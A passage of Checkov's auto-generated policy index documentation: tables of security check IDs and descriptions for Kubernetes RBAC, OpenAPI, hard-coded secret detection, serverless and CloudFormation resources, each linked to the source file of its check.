ClusterRoleBindings | Kubernetes | [RbacBindRoleBindings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacBindRoleBindings.py) | | 898 | CKV_K8S_158 | resource | ClusterRole | Minimize Roles and ClusterRoles that grant permissions to escalate Roles or ClusterRoles | Kubernetes | [RbacEscalateRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacEscalateRoles.py) | | 899 | CKV_K8S_158 | resource | Role | Minimize Roles and ClusterRoles that grant permissions to escalate Roles or ClusterRoles | Kubernetes | [RbacEscalateRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacEscalateRoles.py) | | 900 | CKV_K8S_159 | resource | CronJob | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 901 | CKV_K8S_159 | resource | DaemonSet | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 902 | CKV_K8S_159 | resource | Deployment | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 903 | CKV_K8S_159 | resource | DeploymentConfig | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 904 | CKV_K8S_159 | resource | Job | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 905 | CKV_K8S_159 | resource | Pod | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 906 | CKV_K8S_159 | resource | PodTemplate | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 907 | CKV_K8S_159 | resource | ReplicaSet | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 908 | CKV_K8S_159 | resource | ReplicationController | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 909 | CKV_K8S_159 | resource | StatefulSet | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 910 | CKV2_K8S_1 | resource | ClusterRole | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding | Kubernetes | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml) | | 911 | CKV2_K8S_1 | resource | ClusterRoleBinding | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding | Kubernetes | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml) | | 912 | CKV2_K8S_1 | resource | Role | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding | Kubernetes | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml) | | 913 | CKV2_K8S_1 | resource | RoleBinding | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding | Kubernetes | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml) | | 914 | CKV2_K8S_2 | resource | ClusterRole | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation | Kubernetes | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml) | | 915 | CKV2_K8S_2 | resource | ClusterRoleBinding | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation | Kubernetes | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml) | | 916 | CKV2_K8S_2 | resource | Role | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation | Kubernetes | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml) | | 917 | CKV2_K8S_2 | resource | RoleBinding | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation | Kubernetes | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml) | | 918 | CKV2_K8S_3 | resource | ClusterRole | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts | Kubernetes | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml) | | 919 | CKV2_K8S_3 | resource | ClusterRoleBinding | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts | Kubernetes | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml) | | 920 | CKV2_K8S_3 | resource | Role | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts | Kubernetes | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml) | | 921 | CKV2_K8S_3 | resource | RoleBinding | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts | Kubernetes | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml) | | 922 | CKV2_K8S_4 | resource | ClusterRole | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster. | Kubernetes | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml) | | 923 | CKV2_K8S_4 | resource | ClusterRoleBinding | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster. | Kubernetes | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml) | | 924 | CKV2_K8S_4 | resource | Role | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster. | Kubernetes | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml) | | 925 | CKV2_K8S_4 | resource | RoleBinding | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster. | Kubernetes | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml) | | 926 | CKV2_K8S_5 | resource | ClusterRole | No ServiceAccount/Node should be able to read all secrets | Kubernetes | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml) | | 927 | CKV2_K8S_5 | resource | ClusterRoleBinding | No ServiceAccount/Node should be able to read all secrets | Kubernetes | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml) | | 928 | CKV2_K8S_5 | resource | Role | No ServiceAccount/Node should be able to read all secrets | Kubernetes | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml) | | 929 | CKV2_K8S_5 | resource | RoleBinding | No ServiceAccount/Node should be able to read all secrets | Kubernetes | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml) | | 930 | CKV2_K8S_6 | resource | Deployment | Minimize the admission of pods which lack an associated NetworkPolicy | Kubernetes | [RequireAllPodsToHaveNetworkPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RequireAllPodsToHaveNetworkPolicy.yaml) | | 931 | CKV2_K8S_6 | resource | Pod | Minimize the admission of pods which lack an associated NetworkPolicy | Kubernetes | [RequireAllPodsToHaveNetworkPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RequireAllPodsToHaveNetworkPolicy.yaml) | --- ================================================ FILE: docs/5.Policy Index/openapi.md ================================================ --- layout: default title: openapi resource scans nav_order: 1 --- # openapi resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|----------------|----------|---------------------|----------------------------------------------------------------------------------------------------------------------------------------------|---------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_OPENAPI_1 | resource | securityDefinitions | Ensure that securityDefinitions is defined and not empty - version 2.0 files | OpenAPI | [SecurityDefinitions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/SecurityDefinitions.py) | | 1 | CKV_OPENAPI_2 | resource | security | Ensure that if the security scheme is not of type 'oauth2', the array value must be empty - version 2.0 files | OpenAPI | [Oauth2SecurityRequirement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityRequirement.py) | | 2 | CKV_OPENAPI_3 | resource | components | Ensure that security schemes don't allow cleartext credentials over unencrypted channel - version 3.x.y files | OpenAPI | [CleartextOverUnencryptedChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v3/CleartextOverUnencryptedChannel.py) | | 3 | CKV_OPENAPI_4 | resource | security | Ensure that the global security field has rules defined | OpenAPI | [GlobalSecurityFieldIsEmpty.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/GlobalSecurityFieldIsEmpty.py) | | 4 | CKV_OPENAPI_5 | resource | security | Ensure that security operations is not empty. | OpenAPI | [SecurityOperations.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/SecurityOperations.py) | | 5 | CKV_OPENAPI_6 | resource | security | Ensure that security requirement defined in securityDefinitions - version 2.0 files | OpenAPI | [SecurityRequirement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/SecurityRequirement.py) | | 6 | CKV_OPENAPI_7 | resource | security | Ensure that the path scheme does not support unencrypted HTTP connection where all transmissions are open to interception- version 2.0 files | OpenAPI | [PathSchemeDefineHTTP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/PathSchemeDefineHTTP.py) | | 7 | CKV_OPENAPI_8 | resource | security | Ensure that security is not using 'password' flow in OAuth2 authentication - version 2.0 files | OpenAPI | [Oauth2SecurityPasswordFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityPasswordFlow.py) | | 8 | CKV_OPENAPI_9 | resource | paths | Ensure that security scopes of operations are defined in securityDefinitions - version 2.0 files | OpenAPI | [OperationObjectSecurityScopeUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectSecurityScopeUndefined.py) | | 9 | CKV_OPENAPI_10 | resource | paths | Ensure that operation object does not use 'password' flow in OAuth2 authentication - version 2.0 files | OpenAPI | [Oauth2OperationObjectPasswordFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2OperationObjectPasswordFlow.py) | | 10 | CKV_OPENAPI_11 | resource | securityDefinitions | Ensure that operation object does not use 'password' flow in OAuth2 authentication - version 2.0 files | OpenAPI | [Oauth2SecurityDefinitionPasswordFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityDefinitionPasswordFlow.py) | | 11 | CKV_OPENAPI_12 | resource | securityDefinitions | Ensure no security definition is using implicit flow on OAuth2, which is deprecated - version 2.0 files | OpenAPI | [Oauth2SecurityDefinitionImplicitFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityDefinitionImplicitFlow.py) | | 12 | CKV_OPENAPI_13 | resource | securityDefinitions | Ensure security definitions do not use basic auth - version 2.0 files | OpenAPI | [SecurityDefinitionBasicAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/SecurityDefinitionBasicAuth.py) | | 13 | CKV_OPENAPI_14 | resource | paths | Ensure that operation objects do not use 'implicit' flow, which is deprecated - version 2.0 files | OpenAPI | [OperationObjectImplicitFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectImplicitFlow.py) | | 14 | CKV_OPENAPI_15 | resource | paths | Ensure that operation objects do not use basic auth - version 2.0 files | OpenAPI | [OperationObjectBasicAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectBasicAuth.py) | | 15 | CKV_OPENAPI_16 | resource | paths | Ensure that operation objects have 'produces' field defined for GET operations - version 2.0 files | OpenAPI | [OperationObjectProducesUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectProducesUndefined.py) | | 16 | CKV_OPENAPI_17 | resource | paths | Ensure that operation objects have 'consumes' field defined for PUT, POST and PATCH operations - version 2.0 files | OpenAPI | [OperationObjectConsumesUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectConsumesUndefined.py) | | 17 | CKV_OPENAPI_18 | resource | schemes | Ensure that global schemes use 'https' protocol instead of 'http'- version 2.0 files | OpenAPI | [GlobalSchemeDefineHTTP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/GlobalSchemeDefineHTTP.py) | | 18 | CKV_OPENAPI_19 | resource | security | Ensure that global security scope is defined in securityDefinitions - version 2.0 files | OpenAPI | [GlobalSecurityScopeUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/GlobalSecurityScopeUndefined.py) | | 19 | CKV_OPENAPI_20 | resource | paths | Ensure that API keys are not sent over cleartext | OpenAPI | [ClearTextAPIKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/ClearTextAPIKey.py) | | 20 | CKV_OPENAPI_21 | resource | paths | Ensure that arrays have a maximum number of items | OpenAPI | [NoMaximumNumberItems.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/NoMaximumNumberItems.py) | --- ================================================ FILE: docs/5.Policy Index/secrets.md ================================================ --- layout: default title: secrets resource scans nav_order: 1 --- # secrets resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|---------------|----------------------------------|----------|----------------------------------|---------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_SECRET_1 | Artifactory Credentials | secrets | Artifactory Credentials | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 1 | CKV_SECRET_2 | AWS Access Key | secrets | AWS Access Key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 2 | CKV_SECRET_3 | Azure Storage Account access key | secrets | Azure Storage Account access key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 3 | CKV_SECRET_4 | Basic Auth Credentials | secrets | Basic Auth Credentials | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 4 | CKV_SECRET_5 | Cloudant Credentials | secrets | Cloudant Credentials | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 5 | CKV_SECRET_6 | Base64 High Entropy String | secrets | Base64 High Entropy String | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 6 | CKV_SECRET_7 | IBM Cloud IAM Key | secrets | IBM Cloud IAM Key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 7 | CKV_SECRET_8 | IBM COS HMAC Credentials | secrets | IBM COS HMAC Credentials | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 8 | CKV_SECRET_9 | JSON Web Token | secrets | JSON Web Token | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 9 | CKV_SECRET_11 | Mailchimp Access Key | secrets | Mailchimp Access Key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 10 | CKV_SECRET_12 | NPM tokens | secrets | NPM tokens | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 11 | CKV_SECRET_13 | Private Key | secrets | Private Key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 12 | CKV_SECRET_14 | Slack Token | secrets | Slack Token | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 13 | CKV_SECRET_15 | SoftLayer Credentials | secrets | SoftLayer Credentials | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 14 | CKV_SECRET_16 | Square OAuth Secret | secrets | Square OAuth Secret | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 15 | CKV_SECRET_17 | Stripe Access Key | secrets | Stripe Access Key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 16 | CKV_SECRET_18 | Twilio API Key | secrets | Twilio API Key | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | | 17 | CKV_SECRET_19 | Hex High Entropy String | secrets | Hex High Entropy String | secrets | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py) | --- ================================================ FILE: docs/5.Policy Index/serverless.md ================================================ --- layout: default title: serverless resource scans nav_order: 1 --- # serverless resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|------------|----------|----------------|-------------------------------------------------------------------------------------|------------|-----------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_AWS_1 | resource | serverless_aws | Ensure IAM policies that allow full "*-*" administrative privileges are not created | serverless | [AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/serverless/checks/function/aws/AdminPolicyDocument.py) | | 1 | CKV_AWS_41 | resource | serverless_aws | Ensure no hard coded AWS access key and secret key exists in provider | serverless | [AWSCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/serverless/checks/function/aws/AWSCredentials.py) | | 2 | CKV_AWS_49 | resource | serverless_aws | Ensure no IAM policies documents allow "*" as a statement's actions | serverless | [StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/serverless/checks/function/aws/StarActionPolicyDocument.py) | --- | | Id | Type | Entity | Policy | IaC | Resource Link | |------|-------------|----------|------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_AWS_2 | resource | AWS::ElasticLoadBalancingV2::Listener | Ensure ALB protocol is HTTPS | Cloudformation | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBListenerHTTPS.py) | | 1 | CKV_AWS_3 | resource | AWS::EC2::Volume | Ensure all data stored in the EBS is securely encrypted | Cloudformation | [EBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EBSEncryption.py) | | 2 | CKV_AWS_5 | resource | AWS::Elasticsearch::Domain | Ensure all data stored in the Elasticsearch is securely encrypted at rest | Cloudformation | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchEncryption.py) | | 3 | CKV_AWS_6 | resource | AWS::Elasticsearch::Domain | Ensure all Elasticsearch has node-to-node encryption enabled | Cloudformation | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py) | | 4 | CKV_AWS_7 | resource | AWS::KMS::Key | Ensure rotation for customer created CMKs is enabled | Cloudformation | [KMSRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KMSRotation.py) | | 5 | CKV_AWS_8 | resource | AWS::AutoScaling::LaunchConfiguration | Ensure all data stored in the Launch configuration EBS is securely encrypted | Cloudformation | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LaunchConfigurationEBSEncryption.py) | | 6 | CKV_AWS_16 | resource | AWS::RDS::DBInstance | Ensure all data stored in the RDS is securely encrypted at rest | Cloudformation | [RDSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSEncryption.py) | | 7 | CKV_AWS_17 | resource | AWS::RDS::DBInstance | Ensure all data stored in RDS is not publicly accessible | Cloudformation | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSPubliclyAccessible.py) | | 8 | CKV_AWS_18 | resource | AWS::S3::Bucket | Ensure the S3 bucket has access logging enabled | Cloudformation | [S3AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3AccessLogs.py) | | 9 | CKV_AWS_19 | resource | AWS::S3::Bucket | Ensure the S3 bucket has server-side-encryption enabled | Cloudformation | [S3Encryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3Encryption.py) | | 10 | CKV_AWS_20 | resource | AWS::S3::Bucket | Ensure the S3 bucket does not allow READ permissions to everyone | Cloudformation | [S3PublicACLRead.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3PublicACLRead.py) | | 11 | CKV_AWS_21 | resource | AWS::S3::Bucket | Ensure the S3 bucket has versioning enabled | Cloudformation | [S3Versioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3Versioning.py) | | 12 | CKV_AWS_23 | resource | AWS::EC2::SecurityGroup | Ensure every security groups rule has a description | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py) | | 13 | CKV_AWS_23 | resource | AWS::EC2::SecurityGroupEgress | Ensure every security groups rule has a description | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py) | | 14 | CKV_AWS_23 | resource | AWS::EC2::SecurityGroupIngress | Ensure every security groups rule has a description | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py) | | 15 | CKV_AWS_24 | resource | AWS::EC2::SecurityGroup | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Cloudformation | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py) | | 16 | CKV_AWS_24 | resource | AWS::EC2::SecurityGroupIngress | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 | Cloudformation | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py) | | 17 | CKV_AWS_25 | resource | AWS::EC2::SecurityGroup | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Cloudformation | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py) | | 18 | CKV_AWS_25 | resource | AWS::EC2::SecurityGroupIngress | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 | Cloudformation | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py) | | 19 | CKV_AWS_26 | resource | AWS::SNS::Topic | Ensure all data stored in the SNS topic is encrypted | Cloudformation | [SNSTopicEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SNSTopicEncryption.py) | | 20 | CKV_AWS_27 | resource | AWS::SQS::Queue | Ensure all data stored in the SQS queue is encrypted | Cloudformation | [SQSQueueEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SQSQueueEncryption.py) | | 21 | CKV_AWS_28 | resource | AWS::DynamoDB::Table | Ensure DynamoDB point in time recovery (backup) is enabled | Cloudformation | [DynamodbRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamodbRecovery.py) | | 22 | CKV_AWS_29 | resource | AWS::ElastiCache::ReplicationGroup | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest | Cloudformation | [ElasticacheReplicationGroupEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py) | | 23 | CKV_AWS_30 | resource | AWS::ElastiCache::ReplicationGroup | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit | Cloudformation | [ElasticacheReplicationGroupEncryptionAtTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py) | | 24 | CKV_AWS_31 | resource | AWS::ElastiCache::ReplicationGroup | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token | Cloudformation | [ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py) | | 25 | CKV_AWS_32 | resource | AWS::ECR::Repository | Ensure ECR policy is not set to public | Cloudformation | [ECRPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRPolicy.py) | | 26 | CKV_AWS_33 | resource | AWS::KMS::Key | Ensure KMS key policy does not contain wildcard (*) principal | Cloudformation | [KMSKeyWildCardPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KMSKeyWildCardPrincipal.py) | | 27 | CKV_AWS_34 | resource | AWS::CloudFront::Distribution | Ensure CloudFront Distribution ViewerProtocolPolicy is set to HTTPS | Cloudformation | [CloudfrontDistributionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudfrontDistributionEncryption.py) | | 28 | CKV_AWS_35 | resource | AWS::CloudTrail::Trail | Ensure CloudTrail logs are encrypted at rest using KMS CMKs | Cloudformation | [CloudtrailEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailEncryption.py) | | 29 | CKV_AWS_36 | resource | AWS::CloudTrail::Trail | Ensure CloudTrail log file validation is enabled | Cloudformation | 